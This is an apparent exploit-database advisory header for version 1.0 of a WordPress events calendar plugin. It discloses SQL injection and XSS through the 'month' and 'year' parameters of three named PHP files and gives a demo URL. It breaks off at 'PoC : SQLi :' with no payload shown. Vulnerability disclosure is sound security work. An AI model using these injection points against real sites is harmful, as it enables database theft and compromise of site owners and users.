# Date: 2018-05-27  
# Exploit Author: Azkan Mustafa AkkuA (AkkuS)  
# Vendor: Wachipi  
# Vendor Homepage: https://codecanyon.net/item/wp-events-calendar-plugin/5025660  
# Version: 1.0  
# Category: Webapps  
# Tested on: Kali linux  
# Description : An attacker can perform attacks via calendar ajax queries.  
# However, this plugin is fully PHP-enabled. You can run SQL query with  
# "month" and "year" parameters.  
# These parameters are also suitable for XSS attacks.  
# All PHP queries for which these parameters work have the same vulnerable.  
  
# "getBookingForm.php, getMonthCalendar.php, getEventsList.php"  
# Demo : http://www.checkingarea.com/EVENTS_WP/  
# PoC : SQLi :
